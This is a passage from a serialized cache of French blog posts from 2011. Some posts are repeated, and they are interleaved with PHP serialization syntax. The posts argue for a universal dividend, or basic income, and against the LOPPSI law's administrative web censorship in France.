Chaque citoyen est co-propriétaire de la Zone Euro. Le Dividende Universel correspond donc simplement à la reconnaissance de la co-propriété de la zone économique pour chaque citoyen.

Héritage de richesses

Nous héritons d’une richesse provenant des architectures et des outils construits par nos ancêtres. Il serait légitime que cette rente bénéficie à tous.

Yoland Bresson met en évidence cette richesse :

Prenons deux jumeaux parfaits, identiques en tout, particulièrement dans leurs compétences, supposons-les travaillant au même poste, dans un même processus de production (une usine de jeans par exemple) mais l’un situé en France et l’autre en Tunisie. Celui qui travaille en France recevra à l’évidence une rémunération plus élevée que son jumeau en Tunisie. Pourquoi ? Parce que les revenus ne résultent pas des seuls caractéristiques et mérites individuels; que dans l’évaluation de ce que chacun produit, et dont il perçoit une part, celui qui vit en France bénéficie de tout un potentiel productif beaucoup plus performant, les infrastructures, les réseaux d’échange et d’information, les habitudes de communiquer, etc., c’est-à-dire du milieu dans lequel il est plongé et dont il profite inconsciemment. On peut dire qu’il existe un « champ économique » comme il existe un « champ magnétique » qui nous inonde d’une énergie potentielle. Si cette énergie est plus grande en France qu’en Tunisie, c’est qu’elle provient de tout le capital matériel et humain que nos parents ont lentement construit en France. Une part des revenus que nous obtenons est le produit de ce capital social. Nous héritons de cette rente.

Suppression des désincitations au travail

Le Dividende Universel aurait aussi d’autres effets positifs. Par exemple, les prestations sociales actuelles découragent les individus de chercher un emploi rémunéré. En effet, lorsque les revenus du travail augmentent, les prestations sociales sont diminuées voire supprimées, menant à des situations absurdes où l’individu a parfois financièrement intérêt à ne pas accepter un travail.

De par sa nature inconditionnelle, le Dividende Universel supprimerait ces désincitations.

Théorie Relative de la Monnaie

Si vous désirez approfondir le Dividende Universel, je vous recommande la Théorie Relative de la Monnaie, de Stéphane Laborde. La version 2.0 de la TRM est disponible.

Par analogie au principe de relativité d’Einstein (« les lois physiques s’expriment de manière identique dans tous les référentiels »), il postule que « la monnaie, en tant que code qui régit les échanges économiques, doit fonctionner de manière identique dans tous les référentiels », et en analyse les conséquences. Il décrit également brièvement les problèmes fondamentaux du système actuel et ses effets.

Les défenseurs des libertés informatiques apprécieront certaines analogies, comme celle-ci :

On peut comparer le système monétaire encore actif en 2010 à l’ancien réseau informatique Français du Minitel, un réseau centralisé, où la création de services nécessitait un avis du propriétaire monopolistique ainsi que le partage des revenus de l’activité. Tandis qu’un système d’émission de monnaie symétrique dans l’espace-temps tel que le Dividende Universel est comparable à un internet neutre où chaque citoyen de la zone économique est considéré comme égal devant la création monétaire, et donc susceptible d’échanger en « peer-to-peer », de personne à personne, sans permission spéciale d’une autorité centrale.

Je remercie particulièrement son auteur pour la relecture de ce billet, ainsi que pour ses réponses rapides et ses remarques pertinentes ;-) Je vous recommande son blog pour suivre l’actualité sur le sujet.

Conclusion

Avec le passage d’un monde de rareté à un monde d’abondance, nous sommes dans une période charnière où nous devons faire des choix de société cruciaux. La tentative de restauration de la rareté artificielle, que ce soit pour redonner une valeur marchande à la copie de fichiers ou pour prolonger le mythe du plein emploi, doit être combattue.

Tous les hommes sont égaux. Mais une poignée de privilégiés a le pouvoir de créer la monnaie, au détriment de tous les autres. La création monétaire est un enjeu majeur, trop souvent ignoré, dont dépendra profondément la société de demain.

La suite de la réflexion : L’abondance contre l’économie.

";s:7:"dateiso";s:15:"20110217_172639";}s:15:"20110217_162639";a:7:{s:5:"title";s:51:"Dividende Universel : un enjeu majeur de société";s:4:"link";s:76:"http://blog.rom1v.com/2011/02/dividende-universel-un-enjeu-majeur-de-societe";s:4:"guid";s:76:"http://blog.rom1v.com/2011/02/dividende-universel-un-enjeu-majeur-de-societe";s:7:"pubDate";s:25:"2011-02-17T16:26:39+01:00";s:11:"description";s:0:"";s:7:"content";s:17864:"

Dans un précédent billet, intitulé « Piratage ou usage commun ? », je vous avais livré mon analyse sur ce qui est appelé, aujourd’hui encore, piratage. Je concluais par la nécessité de décorréler le financement des œuvres et la vente unitaire de leurs copies.

Je commence à me rendre compte que la guerre contre le partage n’est qu’une manifestation d’une problématique beaucoup plus générale, qui touche la société et l’économie dans son ensemble. Voici quelques éléments de réflexion.

Paradoxes

Satisfaction des besoins

Considérons que la population a un ensemble de besoins à satisfaire. La satisfaction d’une partie de ces besoins nécessite du travail. Par exemple, le travail des industries alimentaires donne la possibilité à la population de se nourrir (sans récolter elle-même sa nourriture), celui des industries vestimentaires lui permet de se vêtir (sans fabriquer elle-même ses vêtements), la Poste lui permet d’envoyer des colis à l’autre bout du monde sans se déplacer, etc.

Par ailleurs, la population active peut effectuer une quantité de travail limitée (le nombre de personnes multiplié par le nombre d’heures). On peut distinguer 3 cas.

Dans le premier cas, il y a trop de besoins à satisfaire, la population active ne peut réaliser qu’une partie de tout ce travail. Ou plutôt, elle va le réaliser sur un période plus importante. Dans cette hypothèse, c’est le plein emploi, la situation économique est merveilleuse durant de nombreuses années, affichant une croissance impressionnante, comme par exemple durant les Trente Glorieuses.

Dans le second cas, la population active peut tout juste effectuer le travail nécessaire. Tous les besoins sont satisfaits, et tout le monde trouve du travail. La situation économique est bonne, la croissance est importante.

Dans le troisième cas, la population active peut effectuer plus de travail que nécessaire. Les besoins sont largement satisfaits avec moins de travail. Dans le système actuel, c’est la crise. Cela signifie qu’il n’y a pas assez de travail pour tout le monde, donc un taux de pauvreté important.

Le paradoxe est criant : plus nous parvenons à satisfaire nos besoins, plus la pauvreté augmente.

Valeur ou abondance

De ce paradoxe en découle un second.

Plus nous rendons nos outils de production efficaces, plus nous sommes capables de produire en abondance, avec moins de travail. Mais alors moins ce que nous produisons n’a de valeur marchande (puisque cette production est rendue abondante). Si la quantité vendue ne compense pas la baisse des prix unitaires, la seule manière de conserver une valeur marchande est alors de restreindre artificiellement le service rendu par cette production, contre l’intérêt général, comme le décrivait très bien Frédéric Bastiat dans le premier chapitre de “Sophismes Économiques” :

On remarque qu’un homme s’enrichit en proportion de ce qu’il tire un meilleur parti de son travail, c’est-à-dire de ce qu’il vend à plus haut prix. Il vend à plus haut prix à proportion de la rareté, de la disette du genre de produit qui fait l’objet de son industrie. On en conclut que, quant à lui du moins, la disette l’enrichit. Appliquant successivement ce raisonnement à tous les travailleurs, on en déduit la théorie de la disette. De là on passe à l’application, et, afin de favoriser tous les travailleurs, on provoque artificiellement la cherté, la disette de toutes choses par la prohibition, la restriction, la suppression des machines et autres moyens analogues.

Il en est de même de l’abondance. On observe que, quand un produit abonde, il se vend à bas prix : donc le producteur gagne moins. Si tous les producteurs sont dans ce cas, ils sont tous misérables: donc c’est l’abondance qui ruine la société. Et comme toute conviction cherche à se traduire en fait, on voit, dans beaucoup de pays, les lois des hommes lutter contre l’abondance des choses.

Au passage, nous reconnaissons ici le cas particulier du partage de fichiers, avec les restrictions numériques de lecture et la tentative de prohibition de l’utilisation d’outils de partage. La guerre contre le partage n’est qu’une lutte contre l’abondance, qui vise à restaurer la rareté afin de satisfaire une demande solvable.

Nous pouvons résumer ces deux paradoxes ainsi : plus nous rendons efficace notre production, moins ce que nous produisons n’a de valeur marchande (à cause de l’abondance) et plus la pauvreté augmente (à cause du manque de travail).

Une fois passé le cap d’une production abondante nécessitant peu de travail, on s’aperçoit que les politiques de recherche du plein emploi et de restriction de l’abondance (dans le but de conserver une valeur marchande) sont une lutte contre l’efficacité et l’intérêt général.

Conséquences

Supposons que l’on parvienne à une efficacité de production telle que l’emploi de 5% de la population active suffise à satisfaire les besoins de tous : nous serions dans une société qui n’a jamais été aussi productive et riche. Pourtant, nous aurions un taux de chômage de 95%. Si les revenus étaient exclusivement issus du travail rémunéré, une écrasante majorité de la population n’aurait aucun revenu. Restaurer une situation de plein emploi, impossible en pratique, serait très critiquable en théorie : il s’agirait d’imposer à de nombreuses personnes l’occupation d’un emploi utile ni pour elles, ni pour la société.

Aujourd’hui, nous ne sommes pas dans une situation si extrême (ça pourrait ne pas tarder, vraiment), mais force est de constater qu’en raison de l’informatisation et de l’automatisation de la production, le plein emploi ne peut plus être atteint. Devons-nous le regretter ? Je ne pense pas. Je pense même que c’est une chance : cela signifie que nous produisons plus efficacement des richesses.

Pour s’en rendre compte, il suffit de comprendre que le travail humain n’est pas un but, mais un moyen : il permet de surmonter les obstacles à la satisfaction des besoins. Regretter la trop grande facilité avec laquelle les obstacles sont franchis (car alors il y a moins de travail pour y parvenir), c’est vouloir combattre le but pour préserver le moyen ; c’est confondre l’obstacle et la cause.

Dans la situation actuelle, il semble donc inévitable de rompre le lien strict entre emploi et revenu. En effet, la monnaie correspondant aux richesses créées par les machines doit être, d’une manière ou d’une autre, distribuée à la population. Sans cela, nous nous trouvons dans une situation aberrante où il y a abondance de richesses réelles et pénurie de monnaie pour y accéder, et nous ne pouvons faire autrement que d’accepter avec fatalité les conséquences négatives de l’amélioration de la société (sic).

C’est ce que propose le Dividende Universel.

Dividende universel

Le Dividende Universel (plus connu maintenant sous le nom de revenu de base), désigne le versement inconditionnel d’un revenu à chaque citoyen (son montant varie généralement, selon les propositions, entre 300€ et 1500€), de la naissance à la mort, qui se cumule aux autres revenus (issus de l’emploi par exemple).

Si c’est la première fois que vous entendez parler de ce concept, vous êtes sans doute sceptique, comme je l’ai été quand je l’ai découvert : cela semble utopique, irréalisable. Et pourtant…

J’ai introduit le sujet par la nécessité de dissocier l’emploi et le revenu, suite à la raréfaction de l’emploi (qui, contrairement aux idées reçues, est une bonne chose). Mais d’autres arguments, que je trouve encore plus pertinents, confortent les fondements de l’instauration d’un Dividende Universel.

Création monétaire

Le plus évident est l’injustice du fonctionnement actuel de la création monétaire (je détaille dans un autre billet), un des bugs fondamentaux de notre société : des acteurs privés (les banques) créent de l’argent à partir de rien, par le mécanisme du prêt. C’est la magie de “l’argent dette”. En effet, lorsqu’une banque vous accorde un prêt pour acheter une maison par exemple, elle vous prête de l’argent qu’elle n’a pas ! La population se trouve alors lésée plusieurs fois :

Thierry Crouzet résume cette situation en une phrase :

Pendant que vous avez travaillé, ils ont fabriqué l’argent pour vous payer.

Le mécanisme est très bien expliqué par les vidéos pédagogiques de Paul Grignon (même si la forme est critiquable sur certains aspects) : L’Argent Dette, puis L’Argent Dette 2. La première vidéo a d’ailleurs fait l’objet d’une émission d’Arrêt sur Images.

Pour mettre fin à cette injustice, le Dividende Universel propose donc simplement que l’augmentation de la masse monétaire soit distribuée équitablement entre tous les citoyens, plutôt qu’elle ne soit réservée qu’à une poignée d’acteurs privés privilégiés au détriment de tout le reste de la population. C’est le point fondamental de cette proposition. Tous les autres arguments ne sont que des interprétations de la signification de cette nouvelle forme de distribution ou des analyses de ses conséquences.

Création libre et non marchande

Une part importante du travail effectué par la population est non marchand. Par exemple, dans le domaine qui m’intéresse, on peut citer la création de logiciels libres, qui sont à la base du fonctionnement d’Internet, ou encore la participation à Wikipedia, qui permet un partage de connaissance inégalé jusqu’à présent. Nous ne pouvons pas nier que ces créations ont une valeur immense pour la société (sans compter qu’elles bénéficient également au secteur marchand). Une part essentielle de cette valeur réside justement dans leur adoption par le plus grand nombre, d’autant plus rapidement qu’elles sont accessibles à tous, sans restrictions.

Le Dividende Universel peut être vu comme une valorisation de ces activités non marchandes, qui sont bénéfiques pour la société.

Propriété de la zone Euro

Chaque citoyen est co-propriétaire de la Zone Euro. Le Dividende Universel correspond donc simplement à la reconnaissance de la co-propriété de la zone économique pour chaque citoyen.

Héritage de richesses

Nous héritons d’une richesse provenant des architectures et des outils construits par nos ancêtres. Il serait légitime que cette rente bénéficie à tous.

Yoland Bresson met en évidence cette richesse :

Prenons deux jumeaux parfaits, identiques en tout, particulièrement dans leurs compétences, supposons-les travaillant au même poste, dans un même processus de production (une usine de jeans par exemple) mais l’un situé en France et l’autre en Tunisie. Celui qui travaille en France recevra à l’évidence une rémunération plus élevée que son jumeau en Tunisie. Pourquoi ? Parce que les revenus ne résultent pas des seuls caractéristiques et mérites individuels ; que dans l’évaluation de ce que chacun produit, et dont il perçoit une part, celui qui vit en France bénéficie de tout un potentiel productif beaucoup plus performant, les infrastructures, les réseaux d’échange et d’information, les habitudes de communiquer, etc., c’est-à-dire du milieu dans lequel il est plongé et dont il profite inconsciemment. On peut dire qu’il existe un “champ économique” comme il existe un “champ magnétique” qui nous inonde d’une énergie potentielle. Si cette énergie est plus grande en France qu’en Tunisie, c’est qu’elle provient de tout le capital matériel et humain que nos parents ont lentement construit en France. Une part des revenus que nous obtenons est le produit de ce capital social. Nous héritons de cette rente.

Suppression des désincitations au travail

Le Dividende Universel aurait aussi d’autres effets positifs. Par exemple, les prestations sociales actuelles découragent les individus de chercher un emploi rémunéré. En effet, lorsque les revenus du travail augmentent, les prestations sociales sont diminuées voire supprimées, menant à des situations absurdes où l’individu a parfois financièrement intérêt à ne pas accepter un travail.

De par sa nature inconditionnelle, le Dividende Universel supprimerait ces désincitations.

Théorie Relative de la Monnaie

Si vous désirez approfondir le Dividende Universel, je vous recommande la Théorie Relative de la Monnaie, de Stéphane Laborde. La version 2.0 de la TRM est disponible.

Par analogie au principe de relativité d’Einstein (“les lois physiques s’expriment de manière identique dans tous les référentiels”), il postule que “la monnaie, en tant que code qui régit les échanges économiques, doit fonctionner de manière identique dans tous les référentiels”, et en analyse les conséquences. Il décrit également brièvement les problèmes fondamentaux du système actuel et ses effets.

Les défenseurs des libertés informatiques apprécieront certaines analogies, comme celle-ci :

On peut comparer le système monétaire encore actif en 2010 à l’ancien réseau informatique Français du Minitel, un réseau centralisé, où la création de services nécessitait un avis du propriétaire monopolistique ainsi que le partage des revenus de l’activité. Tandis qu’un système d’émission de monnaie symétrique dans l’espace-temps tel que le Dividende Universel est comparable à un internet neutre où chaque citoyen de la zone économique est considéré comme égal devant la création monétaire, et donc susceptible d’échanger en “peer-to-peer”, de personne à personne, sans permission spéciale d’une autorité centrale.

Je remercie particulièrement son auteur pour la relecture de ce billet, ainsi que pour ses réponses rapides et ses remarques pertinentes ;-) Je vous recommande son blog pour suivre l’actualité sur le sujet.

Conclusion

Avec le passage d’un monde de rareté à un monde d’abondance, nous sommes dans une période charnière où nous devons faire des choix de société cruciaux. La tentative de restauration de la rareté artificielle, que ce soit pour redonner une valeur marchande à la copie de fichiers ou pour prolonger le mythe du plein emploi, doit être combattue.

Tous les hommes sont égaux. Mais une poignée de privilégiés a le pouvoir de créer la monnaie, au détriment de tous les autres. La création monétaire est un enjeu majeur, trop souvent ignoré, dont dépendra profondément la société de demain.

La suite de la réflexion : L’abondance contre l’économie.

";s:7:"dateiso";s:15:"20110217_162639";}s:15:"20110108_114550";a:7:{s:5:"title";s:52:"LOPPSI : la censure d’État est adoptée en France";s:4:"link";s:76:"http://blog.rom1v.com/2011/01/loppsi-la-censure-detat-est-adoptee-en-france/";s:4:"guid";s:29:"http://blog.rom1v.com/?p=2049";s:7:"pubDate";s:31:"Sat, 08 Jan 2011 10:45:50 +0000";s:11:"description";s:383:"Titre initial : LOPPSI  : la censure d’État bientôt adoptée en France Censure d’État Le Sénat s’apprête à voter en seconde lecture (à partir du 18 janvier) le projet de loi LOPPSI, comportant un article 4 qui instaure la censure des sites web dictée par le ministère de l’intérieur. Cette censure d’État va être acceptée au [...]";s:7:"content";s:19614:"

Titre initial : LOPPSI  : la censure d’État bientôt adoptée en France

Censure d’État

Le Sénat s’apprête à voter en seconde lecture (à partir du 18 janvier) le projet de loi LOPPSI, comportant un article 4 qui instaure la censure des sites web dictée par le ministère de l’intérieur. Cette censure d’État va être acceptée au prétexte de la lutte contre la pédopornographie, contre laquelle elle est totalement inefficace.
(18/01/2011) Le Sénat vient de valider l’article 4 en l’état.
(10/03/201) Le Conseil Constitutionnel n’a pas censuré l’article 4 (il a censuré 13 autres articles), il a donc validé la censure gouvernementale d’Internet en France.

L’association de protection de l’enfance « L’Ange Bleu », luttant contre la pédophilie, ne s’y est pas trompée : elle considère que la LOPPSI utilise la protection de l’enfance comme cheval de Troie du filtrage généralisé d’Internet.

Dans le but de contourner la justice, le gouvernement a refusé tous les amendements obligeant l’intervention de l’autorité judiciaire. Ce refus a évidemment été très difficile à justifier, et les explications données ont valu un prix Busiris à Éric Ciotti, rapporteur du projet de loi à l’Assemblée Nationale.

Conseil Constitutionnel

Plusieurs députés de droite comme de gauche ont rappelé dans l’hémicycle qu’un filtrage sans décision de l’autorité judiciaire serait anticonstitutionnel.

En effet, dans sa décision historique du 10 juin 2009 (qui censure la loi Hadopi 1), le Conseil Constitutionnel a affirmé qu’une restriction de l’accès à Internet était une restriction de la liberté d’expression, et donc qu’elle ne pouvait être autorisée que par un juge (considérant 12) :

« Considérant qu’aux termes de l’article 11 de la Déclaration des droits de l’homme et du citoyen de 1789 : « La libre communication des pensées et des opinions est un des droits les plus précieux de l’homme : tout citoyen peut donc parler, écrire, imprimer librement, sauf à répondre de l’abus de cette liberté dans les cas déterminés par la loi » ; qu’en l’état actuel des moyens de communication et eu égard au développement généralisé des services de communication au public en ligne ainsi qu’à l’importance prise par ces services pour la participation à la vie démocratique et l’expression des idées et des opinions, ce droit implique la liberté d’accéder à ces services ; »

Pour expliquer que la suppression du juge n’était pas, selon lui, anticonstitutionnelle, Éric Ciotti a tenté de faire croire que le filtrage proposé par l’article 4 de la LOPPSI ne restreignait pas la liberté d’expression, contrairement à la coupure d’accès de l’HADOPI. Voici son discours à l’Assemblée Nationale :

« Vous avez fait référence à la jurisprudence du Conseil constitutionnel concernant la loi HADOPI, qui privilégie l’intervention du juge plutôt que celle de l’autorité administrative pour bloquer les accès à internet. Nous sommes ici dans une situation fondamentalement différente.

Que dit la jurisprudence HADOPI ? Le Conseil constitutionnel a estimé que bloquer l’accès global à internet d’un particulier était contraire aux libertés individuelles fondamentales. C’est la jurisprudence du Conseil constitutionnel.

À présent, nous sommes dans un cas totalement différent. Il ne s’agit pas de bloquer de façon systématique l’accès à internet d’un particulier, mais de bloquer des pages illégales dont la consultation est également illégale. La publication de ces pages constitue un délit, mais leur consultation aussi.

La mesure envisagée ne va donc pas priver l’internaute d’un espace de liberté, mais l’empêcher de commettre un acte illégal. »

Cette démonstration est composée de deux arguments.

Le premier est que la LOPPSI ne met en place qu’un blocage d’un ou plusieurs sites, là où l’HADOPI demandait la coupure complète de l’accès. Ainsi, le filtrage serait bien moins important. Mais il faut bien voir que la restriction de la liberté d’expression et de communication concerne la personne à qui cette restriction s’applique (c’est évident, mais apparemment il est nécessaire de l’expliciter) : lorsqu’un site est bloqué, c’est la liberté d’expression de celui qui s’exprime sur le site qui est restreinte, pas celle des « lecteurs ». Ainsi, si Mediapart.fr (au hasard) se trouve bloqué, certes pour les internautes ce n’est qu’un seul site inaccessible, mais pour les auteurs de Mediapart c’est une restriction de leur liberté d’expression. Cette restriction doit donc être décidée par un juge.

Avec la même logique fallacieuse, on parvient d’ailleurs à démontrer exactement le contraire : la coupure d’accès de l’HADOPI est beaucoup moins importante que le blocage d’un site par la LOPPSI. En effet, pour les auteurs de Mediapart, la coupure d’accès d’un internaute n’est pas une atteinte à leur liberté d’expression, puisque seul un internaute ne parviendra pas à accéder à leur site. Par contre le blocage de leur site est un blocage complet, qui empêchera à l’ensemble des internautes d’y accéder.

Le second argument avancé est qu’il ne s’agit que de bloquer des pages illégales, ce qui ne serait donc pas une restriction de la liberté d’expression. Mais c’est à un juge de décider de la légalité d’un contenu, pas au ministère de l’intérieur !

Même si son argumentation est fausse, Éric Ciotti n’a fait aucune erreur. Son but n’est pas de parvenir à une solution réfléchie et équilibrée : il veut simplement éviter l’autorité judiciaire.

Le juge dérange

Ce n’est pas un hasard si le gouvernement s’obstine tant à supprimer l’autorité judiciaire. Notez que ce débat est très lié à celui de la neutralité du net, où les opposants veulent limiter la neutralité aux seuls « contenus licites ». Comprenez « contenus dont la licéité aura été décidée par une entreprise privée ou par un gouvernement, pas par la justice » (la justice n’est pas appliquée par des algorithmes dans les routeurs).

Il y a principalement deux raisons à cela : l’extension future du filtrage et la censure politique.

Extension du filtrage

La première raison est d’instaurer un filtrage administratif pour une raison quelconque (de préférence, quelque chose que tout le monde condamne, comme la pédopornographie), pour pouvoir l’étendre ensuite à d’autres domaines où l’intervention d’un juge poserait problème (car il n’autoriserait pas un tel filtrage).
En particulier, le 7 janvier 2010, dans ses vœux au monde de la culture, Nicolas Sarkozy a promis le filtrage aux industries du divertissement :

« Plus on pourra dépolluer automatiquement les réseaux et les serveurs de toutes les sources de piratage, moins il sera nécessaire de recourir à des mesures pesant sur les internautes. […] Il faut donc expérimenter sans délai les dispositifs de filtrage. »

D’ailleurs, Éric Ciotti lui-même ne dément pas l’extension future du filtrage.

Censure politique

La seconde raison est de mettre en place une architecture permettant de censurer les contenus dérangeant le pouvoir en place.

C’est ce qui s’est passé en Australie, où la liste noire secrète (qui a fuité sur Wikileaks) ne contenait que 32% de sites effectivement pédopornographiques, ou en Thaïlande, où des sites bloqués portaient la mention « lese majeste ». Comme le dit Wikileaks :

« History shows that secret censorship systems, whatever their original intent, are invariably corrupted into anti-democratic behavior »

Les liens vers la source de ces informations n’existe plus sur Wikileaks.org (évidemment), ni sur ses miroirs.

Alors bien sûr, j’en entends déjà certains : « mais tu es parano, nous sommes en France, pas en Australie ou en Thaïlande, nous sommes en démocratie, dans le pays des Droits de l’Homme ». Au passage, un élément fondamental de la démocratie est la séparation des pouvoirs. Lorsque le ministère de l’intérieur a le pouvoir de limiter la liberté d’expression, il empiète sur le pouvoir judiciaire.

Mais plus concrètement, trois évènements récents nous rappellent les risques de dérives, même (les mauvaises langues diront « surtout ») de la part d’un gouvernement français.

Le premier concerne les propos de Brice Hortefeux qui lui ont valu une condamnation pour injure raciale, suivie de la violente réaction anti-Internet de la part de l’UMP.

Le deuxième, c’est la diffusion des enregistrements dans l’affaire Woerth-Bettencourt, que le gouvernement s’est empressé de dénoncer (voir à ce sujet l’émission d’Arrêt sur Images consacrée à l’affaire Bettencourt si vous y êtes abonnés). Mediapart.fr aurait-il été censuré si la LOPPSI avait été opérationnelle ? Je ne sais pas.

Le troisième, c’est la fuite des câbles diplomatiques par Wikileaks. Là au moins, c’est clair, Wikileaks aurait été censuré : WikiLeaks et la censure politique d’Internet: nous voila prévenus !

Si ce texte de loi est validé en l’état, il est fort possible que nous vivions demain ce qui se passe en Tunisie aujourd’hui (où « officiellement, la censure ne concerne que le terrorisme et la pornographie »).
[Ce billet a été rédigé avant la chute du dictateur tunisien Ben Ali.]

(17/01/2011) Cette censure politique est à apprécier au regard des récentes déclarations du CSA, qui veut imposer le filtrage des sites non labellisés, comme l’a fait Berlusconi en Italie.
(06/04/2011) Une députée UMP soutient cette proposition.
(15/06/2011) Un projet de décret veut soumettre tout Internet à la censure gouvernementale.
(07/07/2011) Un ancien ministre UMP veut carrément une Haute Autorité [de censure] du net.

Information des citoyens

Malgré l’extrême gravité de l’instauration d’une censure dictée par le ministère de l’intérieur, une majorité du citoyens n’a jamais entendu parler de ce projet de loi dans les médias traditionnels (TV et radio), qui sont restés bien silencieux.

Si les 20h de TF1 et de France 2 ont effectivement évoqué le projet de loi LOPPSI pendant les débats à l’Assemblée Nationale, c’était simplement pour mentionner qu’un article assouplit le permis de conduire à points. Bien maigre information par rapport aux enjeux de ce texte. Lors du vote en première lecture, TF1 a même été accusé de manquement à l’honnêteté de l’information.

Sur le web, en revanche, l’article 4 provoque un tollé. Bien évidemment de la part des associations comme La Quadrature du Net, très en pointe pour défendre les libertés fondamentales sur Internet, Reporters sans frontières ou encore L’Ange Bleu (citée plus haut). Les critiques fusent également du côté des sites d’information spécialisés comme PC INpact et Numerama, mais aussi sur ReadWriteWeb ainsi que sur les réseaux sociaux et sur les blogs de milliers de citoyens.

La presse en ligne a également publié quelques articles dénonçant cette censure :
Loppsi 2: « Les dictateurs en ont rêvé, Sarkozy l’a fait » (LExpress.fr)
Tout le monde a peur de la LOPPSI (NouvelObs.com)
L’Assemblée nationale valide le filtrage du web (NouvelObs.com)
La loi LOPPSI est un pied dans la porte vers une censure gouvernementale de l’Internet (LeMonde.fr)
LOPPSI 2 donne les pleins pouvoirs au ministère de l’Intérieur pour censurer le Net (20minutes.fr)
LOPPSI 2: une loi extrêmement dangereuse et régressive (Liberation.fr)

Le décalage entre les informations fournies par les médias traditionnels et les médias en ligne est flagrant. Les causes profondes de la volonté de contrôler et de censurer l’information sur le Net ne sont certainement pas à chercher bien loin.

Conclusion

En conclusion, je souhaite faire passer 3 messages :

À lire également

Je vous recommande ces billets d’Edwy Plenel :
En défense d’Internet et de WikiLeaks (1): nous autres, barbares…
En défense d’Internet et de WikiLeaks (2): la question démocratique
En défense d’Internet et de WikiLeaks (3): la révolution numérique
En défense d’Internet et de WikiLeaks (4): politique de la relation

Remarque

(EDIT 18/01/2011)
Je n’ai parlé ici que de l’article 4, mais beaucoup d’autres articles de la LOPPSI sont décriés. Dans ce projet, l’exécutif use de son influence sur le législatif pour affaiblir le judiciaire, ce qui remet violemment en cause la séparation des pouvoirs.
Lire par exemple la tribune d’Eva Joly et Sandrine Bélier sur Rue89 : La Loppsi 2 n’est pas notre France.

";s:7:"dateiso";s:15:"20110108_114550";}s:15:"20110108_104550";a:7:{s:5:"title";s:51:"LOPPSI : la censure d'État est adoptée en France";s:4:"link";s:75:"http://blog.rom1v.com/2011/01/loppsi-la-censure-detat-est-adoptee-en-france";s:4:"guid";s:75:"http://blog.rom1v.com/2011/01/loppsi-la-censure-detat-est-adoptee-en-france";s:7:"pubDate";s:25:"2011-01-08T10:45:50+01:00";s:11:"description";s:0:"";s:7:"content";s:18756:"

loppsi

Titre initial : LOPPSI : la censure d’État bientôt adoptée en France

Censure d’État

Le Sénat s’apprête à voter en seconde lecture (à partir du 18 janvier) le projet de loi LOPPSI, comportant un article 4 qui instaure la censure des sites web dictée par le ministère de l’intérieur. Cette censure d’État va être acceptée au prétexte de la lutte contre la pédopornographie, contre laquelle elle est totalement inefficace.

L’association de protection de l’enfance « L’Ange Bleu », luttant contre la pédophilie, ne s’y est pas trompée : elle considère que la LOPPSI utilise la protection de l’enfance comme cheval de Troie du filtrage généralisé d’Internet.

Dans le but de contourner la justice, le gouvernement a refusé tous les amendements obligeant l’intervention de l’autorité judiciaire. Ce refus a évidemment été très difficile à justifier, et les explications données ont valu un prix Busiris à Éric Ciotti, rapporteur du projet de loi à l’Assemblée Nationale.

Conseil Constitutionnel

Plusieurs députés de droite comme de gauche ont rappelé dans l’hémicycle qu’un filtrage sans décision de l’autorité judiciaire serait anticonstitutionnel.

En effet, dans sa décision historique du 10 juin 2009 (qui censure la loi Hadopi 1), le Conseil Constitutionnel a affirmé qu’une restriction de l’accès à Internet était une restriction de la liberté d’expression, et donc qu’elle ne pouvait être autorisée que par un juge (considérant 12) :

Considérant qu’aux termes de l’article 11 de la Déclaration des droits de l’homme et du citoyen de 1789 : “La libre communication des pensées et des opinions est un des droits les plus précieux de l’homme : tout citoyen peut donc parler, écrire, imprimer librement, sauf à répondre de l’abus de cette liberté dans les cas déterminés par la loi” ; qu’en l’état actuel des moyens de communication et eu égard au développement généralisé des services de communication au public en ligne ainsi qu’à l’importance prise par ces services pour la participation à la vie démocratique et l’expression des idées et des opinions, ce droit implique la liberté d’accéder à ces services ;

Pour expliquer que la suppression du juge n’était pas, selon lui, anticonstitutionnelle, Éric Ciotti a tenté de faire croire que le filtrage proposé par l’article 4 de la LOPPSI ne restreignait pas la liberté d’expression, contrairement à la coupure d’accès de l’HADOPI. Voici son discours à l’Assemblée Nationale :

Vous avez fait référence à la jurisprudence du Conseil constitutionnel concernant la loi HADOPI, qui privilégie l’intervention du juge plutôt que celle de l’autorité administrative pour bloquer les accès à internet. Nous sommes ici dans une situation fondamentalement différente.

Que dit la jurisprudence HADOPI ? Le Conseil constitutionnel a estimé que bloquer l’accès global à internet d’un particulier était contraire aux libertés individuelles fondamentales. C’est la jurisprudence du Conseil constitutionnel.

À présent, nous sommes dans un cas totalement différent. Il ne s’agit pas de bloquer de façon systématique l’accès à internet d’un particulier, mais de bloquer des pages illégales dont la consultation est également illégale. La publication de ces pages constitue un délit, mais leur consultation aussi.

La mesure envisagée ne va donc pas priver l’internaute d’un espace de liberté, mais l’empêcher de commettre un acte illégal.

Cette démonstration est composée de deux arguments.

Le premier est que la LOPPSI ne met en place qu’un blocage d’un ou plusieurs sites, là où l’HADOPI demandait la coupure complète de l’accès. Ainsi, le filtrage serait bien moins important. Mais il faut bien voir que la restriction de la liberté d’expression et de communication concerne la personne à qui cette restriction s’applique (c’est évident, mais apparemment il est nécessaire de l’expliciter) : lorsqu’un site est bloqué, c’est la liberté d’expression de celui qui s’exprime sur le site qui est restreinte, pas celle des “lecteurs”. Ainsi, si Mediapart.fr (au hasard) se trouve bloqué, certes pour les internautes ce n’est qu’un seul site inaccessible, mais pour les auteurs de Mediapart c’est une restriction de leur liberté d’expression. Cette restriction doit donc être décidée par un juge.

Avec la même logique fallacieuse, on parvient d’ailleurs à démontrer exactement le contraire : la coupure d’accès de l’HADOPI est beaucoup moins importante que le blocage d’un site par la LOPPSI. En effet, pour les auteurs de Mediapart, la coupure d’accès d’un internaute n’est pas une atteinte à leur liberté d’expression, puisque seul un internaute ne parviendra pas à accéder à leur site. Par contre le blocage de leur site est un blocage complet, qui empêchera à l’ensemble des internautes d’y accéder.

Le second argument avancé est qu’il ne s’agit que de bloquer des pages illégales, ce qui ne serait donc pas une restriction de la liberté d’expression. Mais c’est à un juge de décider de la légalité d’un contenu, pas au ministère de l’intérieur !

Même si son argumentation est fausse, Éric Ciotti n’a fait aucune erreur. Son but n’est pas de parvenir à une solution réfléchie et équilibrée : il veut simplement éviter l’autorité judiciaire.

Le juge dérange

